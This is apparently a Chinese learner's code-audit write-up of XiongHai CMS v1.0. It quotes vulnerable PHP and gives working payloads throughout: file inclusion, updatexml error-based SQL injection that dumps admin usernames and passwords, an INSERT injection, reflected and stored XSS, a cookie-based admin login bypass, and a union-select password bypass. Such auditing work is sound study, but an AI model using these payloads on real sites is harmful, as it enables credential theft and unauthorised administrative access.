熊海CMS_V1.0: 审计过程与漏洞分析
菜鸟入坑代码审计,熊海CMS审计学习,开始吧!
漏洞环境&搭建
访问install
目录,填写相关配置。
漏洞分析
1. 入口处存在文件包含漏洞
漏洞触发文件为index.php
,具体代码如下:
<span role="presentation"><?php</span> <span role="presentation">//单一入口模式</span> <span role="presentation">error_reporting(0); //关闭错误显示</span> <span role="presentation">$file=addslashes($_GET['r']); //接收文件名</span> <span role="presentation">$action=$file==''?'index':$file; //判断为空或者等于index</span> <span role="presentation">include('files/'.$action.'.php'); //载入相应文件</span> <span role="presentation">?></span> |
$file
变量通过GET请求r参数获取文件名,经过了addslashes
函数。第5行通过三元运算符判断文件是否为空,为空则载入files/index.php
文件。反之赋值加载files/$file.php
($action=$file
)。这里的代码逻辑限制了只能访问files
目录下的php文件(对文件进行了拼接$action.'.php'
)。而且addslashes
转义单引号(')
,双引号(")
, 反斜杠(\)
,NULL
但这个还是可以有办法利用的,根据上面的分析,只需要解决以下两个问题,即可触发任意文件包含漏洞
- 1.如何跳出
files
目录? - 2.如何截断拼接的
php
后缀?
解决方案也很简单,第一点我们使用../
即可。第二点的话利用系统文件路径长度的限制来解决。
<span role="presentation">Windows 259个字节</span> <span role="presentation">Linux 4096个字节</span> |
扩展&回顾:
常见的截断还有:
%00
- 利用条件:
php <= 5.3
- 利用条件:
0x00
- POST
?
- 只能url里面用(GET)
#
- 只能url里面用(GET)
漏洞利用:在根目录下新建一个tao.txt
,文件内容为<?php phpinfo();?>
访问?r=../tao.txt......
(为了排版,这里省略一手😜)
2.UPDATE型SQL注入
漏洞发生在files/content.php
文件中
第8行使用了addslashes
函数将$id
进行了转义,而第14行的SQL语句用了单引号保护$navid
变量,防止SQL注入,但是19行却存在明显的UPDATE型注入,利用报错执行sql命令
漏洞利用:
payload->1 or updatexml(1,concat(0x7e,(select concat(user,0x3a,password) from manage)),1)
文件files/software.php
13行也存在同样的问题。语句都一样😂
修改访问为?r=software
。利用报错注入,跟上面一样。
3. SQL注入
漏洞发生在files/submit.php
文件66行处
<span role="presentation">$name=$_POST['name'];</span> <span role="presentation">$mail=$_POST['mail'];</span> <span role="presentation">$url=$_POST['url'];</span> <span role="presentation">$content=$_POST['content'];</span> <span role="presentation">$cid=$_POST['cid'];</span> <span role="presentation">....</span> <span role="presentation">//查询用户头像数据</span> <span role="presentation">$query = "SELECT * FROM interaction WHERE( mail = '$mail')";</span> |
$mail
未作任何过滤,闭合括号,使用报错注入
4. INSERT型SQL注入
漏洞发生在files/submit.php
文件中
<span role="presentation">$tz=$_POST['tz'];// 第11行</span> <span role="presentation">....</span> <span role="presentation">$query = "INSERT INTO interaction (// 121行</span> <span role="presentation">type,</span> <span role="presentation">xs,</span> <span role="presentation">cid,</span> <span role="presentation">name,</span> <span role="presentation">mail,</span> <span role="presentation">url,</span> <span role="presentation">touxiang,</span> <span role="presentation">shebei,</span> <span role="presentation">ip,</span> <span role="presentation">content,</span> <span role="presentation">tz,</span> <span role="presentation">date</span> <span role="presentation">) VALUES (</span> <span role="presentation">'$type',</span> <span role="presentation">'$xs',</span> <span role="presentation">'$cid',</span> <span role="presentation">'$name',</span> <span role="presentation">'$mail',</span> <span role="presentation">'$url',</span> <span role="presentation">'$touxiang',</span> <span role="presentation">'$shebei',</span> <span role="presentation">'$ip',</span> <span role="presentation">'$content',</span> <span role="presentation">'$tz',</span> <span role="presentation">now()</span> <span role="presentation">)";</span> |
由于11行$tz
POST请求传过来,未作任何处理。
漏洞利用:利用思路跟BlueCMS分析里面一样,插入两条数据(内容处显示回显结果)
<span role="presentation">name=Tao&mail=Tao@qq.com&url=http://www.baidu.com&content=aaaaa测试&cid=1&tz=888',</span> <span role="presentation">now()),('1','1','1','Tao','[email protected]','http://www.baidu.com','5','PC',</span> <span role="presentation">'127.0.0.1',(select/*Tao*/user()),'Tao</span> |
5.两个SQL注入
<span role="presentation">$type=addslashes($_GET['type']);</span> <span role="presentation">$cid=$_POST['cid'];</span> <span role="presentation">if ($type=='comment'){//75行</span> <span role="presentation">$fhlink="/?r=content&cid=".$cid;</span> <span role="presentation">$fhname="评论";</span> <span role="presentation">$type=1;</span> <span role="presentation">}</span> <span role="presentation">if ($pltz==1){</span> <span role="presentation">....</span> <span role="presentation"> if ($type==1){</span> <span role="presentation"> $query = "SELECT * FROM content WHERE( id= $cid)";// SQL注入</span> <span role="presentation"> $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span> <span role="presentation"> $wz = mysql_fetch_array($result);</span> <span role="presentation"> $title=$wz['title'];</span> <span role="presentation">}</span> |
这里想要利用SQL注入,首先需要使得$pltz==1
, 然后使$type==1
, 而需要使$type=1
的条件就是$type=='comment'
。而这个我们是可以控制的,所以产生了此漏洞
<span role="presentation">if ($type=='download'){// 86行</span> <span role="presentation"> $fhlink="/?r=software&cid=".$cid;</span> <span role="presentation"> $fhname="软件评论";</span> <span role="presentation"> $type=3;</span> <span role="presentation">}</span> <span role="presentation">....</span> <span role="presentation">....</span> <span role="presentation">if ($type==3){</span> <span role="presentation">$query = "SELECT * FROM download WHERE( id= $cid)";// SQL注入</span> <span role="presentation">$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span> <span role="presentation">$wz = mysql_fetch_array($result);</span> <span role="presentation">$title=$wz['title'];</span> |
以上两个SQL注入漏洞点,产生原因一样。但是有点鸡助,因为使$pltz ==1
需要开启新评论/留言通知站长
功能。
<span role="presentation">//查询系统高级设置</span> <span role="presentation">$query = "SELECT * FROM seniorset";</span> <span role="presentation">$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span> <span role="presentation">$advanced = mysql_fetch_array($result);</span> <span role="presentation">$lysh=$advanced ['lysh'];//留言审核</span> <span role="presentation">$plsh=$advanced ['plsh'];//评论审核</span> <span role="presentation">$pltz=$advanced ['pltz'];//新留言评论通知</span> <span role="presentation">if ($pltz==1){</span> <span role="presentation">......</span> <span role="presentation"> if ($type==1){</span> <span role="presentation">$query = "SELECT * FROM content WHERE( id= $cid)";// SQL注入</span> <span role="presentation"> ....</span> <span role="presentation"> if ($type==3){</span> <span role="presentation">$query = "SELECT * FROM download WHERE( id= $cid)";// SQL注入</span> |
需要使$pltz ==1
,才会进入if ($type==1)
。然后执行sql语句,而$pltz
是从seniorset
表中来的(开启新评论/留言通知站长功能)。
为了方便理解,简洁的整理了一下执行的流程:
<span role="presentation">$cid=$_POST['cid'];</span> <span role="presentation">//查询系统高级设置</span> <span role="presentation">$query = "SELECT * FROM seniorset";</span> <span role="presentation">$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span> <span role="presentation">$advanced = mysql_fetch_array($result);</span> <span role="presentation">$lysh=$advanced ['lysh'];//留言审核</span> <span role="presentation">$plsh=$advanced ['plsh'];//评论审核</span> <span role="presentation">$pltz=$advanced ['pltz'];//新留言评论通知</span> <span role="presentation">if ($pltz==1){</span> <span role="presentation">....</span> <span role="presentation">if ($type==1){</span> <span role="presentation"> $query = "SELECT * FROM content WHERE( id= $cid)";</span> <span role="presentation"> $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span> <span role="presentation"> $wz = mysql_fetch_array($result);</span> <span role="presentation"> .....</span> <span role="presentation"> if ($type==3){</span> <span role="presentation"> $query = "SELECT * FROM download WHERE( id= $cid)";</span> <span role="presentation"> $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span> <span role="presentation"> $wz = mysql_fetch_array($result);</span> <span role="presentation"> $title=$wz['title'];</span> <span role="presentation">.....</span> <span role="presentation">}</span> |
这个漏洞利用的前提$pltz==1
,也就是后台高级设置新评论/留言通知站长
功能是打开的。(没有打开的话,我们可以想办法打一套组合拳,让其可以利用)
漏洞利用:
<span role="presentation">name=Tao&mail=Tao1@qq.com&url=http://www.baidu.com&content=Tao测试测试哈哈哈哈&cid=1)+or+updatexml(1,concat(0x7e,(select+concat(user,0x3a,password)+from+manage)),1)#</span> |
$type='comment'=1
触发
$type='download'=3
触发
6. 反射型xss
漏洞触发在files/contact.php
文件
<span role="presentation">$page=addslashes($_GET['page']);</span> <span role="presentation">if ($page<>""){</span> <span role="presentation">if ($page<>1){</span> <span role="presentation">$pages="第".$page."页 - ";</span> <span role="presentation">}</span> <span role="presentation">}</span> <span role="presentation">// 12~15行</span> |
$_GET['page']
只进行了部分字符转义,其他未作处理就直接输出了。
漏洞触发在files/list.php
文件
<span role="presentation">$yemas=$_GET['page'];</span> <span role="presentation">if ($yemas<>""){</span> <span role="presentation">$yema=" - 第 $yemas 页";</span> <span role="presentation">}else{</span> <span role="presentation">$yema="";</span> <span role="presentation">}</span> <span role="presentation">// 23~28行</span> |
跟上面同理
漏洞触发在files/download.php
文件
7.存储型xss
漏洞产生在files/submit.php
文件中,昵称未进行处理,便存储到数据库中
<span role="presentation">$name=$_POST['name'];</span> <span role="presentation">$mail=$_POST['mail'];</span> <span role="presentation">$url=$_POST['url'];</span> <span role="presentation">$content=$_POST['content'];</span> <span role="presentation">$cid=$_POST['cid'];</span> <span role="presentation">$ip=$_SERVER["REMOTE_ADDR"];</span> <span role="presentation">$tz=$_POST['tz'];</span> <span role="presentation">.....</span> <span role="presentation">$content= addslashes(strip_tags($content));//过滤HTML</span> <span role="presentation">....</span> <span role="presentation">$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date</span> <span role="presentation">) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now()</span> <span role="presentation">)";</span> |
在评论区可以提交昵称、邮箱、网址、内容。但是显示评论和留言的地方只显示昵称。所以只有昵称处才存在存储型XSS
payload: Taoo<img src=1 onerror=alert(/Tao/);>
前台文章处
查看后台
8.垂直越权(逻辑漏洞)
漏洞发现在inc/checklogin.php
<span role="presentation"><?php</span> <span role="presentation">$user=$_COOKIE['user'];</span> <span role="presentation">if ($user==""){</span> <span role="presentation">header("Location: ?r=login");</span> <span role="presentation">exit; </span> <span role="presentation">}</span> <span role="presentation">?></span> |
该代码存在越权访问,这里直接从COOKIE
处赋值给$user
。如果$user
不为空就可以直接访问
我们通过调试来分析一下后台登陆的执行流程。
首先访问admin
目录,默认跳转传参?r=login
,也就是下面的执行过程,文件包含admin/files/login.php
文件
然后包含数据库连接文件
这后面没有什么(这是正常访问,输入账号密码的流程)。
但是注意我们要利用此漏洞的话,需要修改完cookie后访问admin/?r=index
,admin/index.php
会包含files
文件夹下index.php
文件,所以这里实际访问的文件就是admin/files/index.php
,文件内容如下
直接就包含inc/checklogin.php
<span role="presentation"><?php</span> <span role="presentation">$user=$_COOKIE['user'];</span> <span role="presentation">if ($user==""){</span> <span role="presentation">header("Location: ?r=login");</span> <span role="presentation">exit;</span> <span role="presentation">}</span> <span role="presentation">?></span> |
$_COOKIE['user']
不为空就不跳转到?r=login
,直接进入后台
还有一点就是,我们修改完cookie,使得$_COOKIE['user']
不为空。不一定非要访问admin/?r=index
,访问有载入inc/checklogin.php
文件都可以
漏洞利用:
记住管理处路劲:http://www.bearsea.com/admin/?r=index
退出管理员,来到登录处。添加cookie值
再次访问后台。没登录也直接进入了后台页面😂
9. 后台SQL注入
漏洞产生文件admin/files/login.php
<span role="presentation">$login=$_POST['login'];</span> <span role="presentation">$user=$_POST['user'];</span> <span role="presentation">$password=$_POST['password'];</span> <span role="presentation">$checkbox=$_POST['checkbox'];</span> <span role="presentation">if ($login<>""){</span> <span role="presentation">$query = "SELECT * FROM manage WHERE user='$user'";</span> |
$query
存在SQL注入,这是$user
未经过任何处理,直接代入语句中执行导致的
利用方式:
user: 1' or updatexml(1,concat(0x7e,(select concat(user,0x3a,password) from manage)),1)#
登录,返回管理员账号和加密的密码
10. 后台万能密码登录
漏洞产生文件admin/files/login.php
<span role="presentation">$login=$_POST['login'];</span> <span role="presentation">$user=$_POST['user'];</span> <span role="presentation">$password=$_POST['password'];</span> <span role="presentation">$checkbox=$_POST['checkbox'];</span> <span role="presentation">if ($login<>""){</span> <span role="presentation">$query = "SELECT * FROM manage WHERE user='$user'";</span> <span role="presentation">$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());</span> <span role="presentation">$users = mysql_fetch_array($result);</span> <span role="presentation">if (!mysql_num_rows($result)) { </span> <span role="presentation">echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";</span> <span role="presentation">exit;</span> <span role="presentation">}else{</span> <span role="presentation">$passwords=$users['password'];</span> <span role="presentation">if(md5($password)<>$passwords){</span> <span role="presentation">echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";</span> <span role="presentation">exit;</span> <span role="presentation">}</span> |
$login
未经过任何处理拼接sql语句,且只进行了密码md5对比。可绕过
payload:
user:-1' union select 1,2,3,'ace1785ac351e22a3d18e594d77a67dd',5,6,7,8 #
password: Tao
11. 后台多处漏洞
后台暂时不审了,下次一定👌
结束语
简单的cms审计不难,但漏洞的利用在实战中却需要各种bypass。而一些复杂的cms审计是需要一定的基础的,所以通过简单的cms来锻炼思路很重要。学习审计一些简单的cms,就是为了更好的上手常用的流行cms及框架。
还是那句话慢慢来比较快
, 文章中有什么不足和错误的地方还望师傅们指正。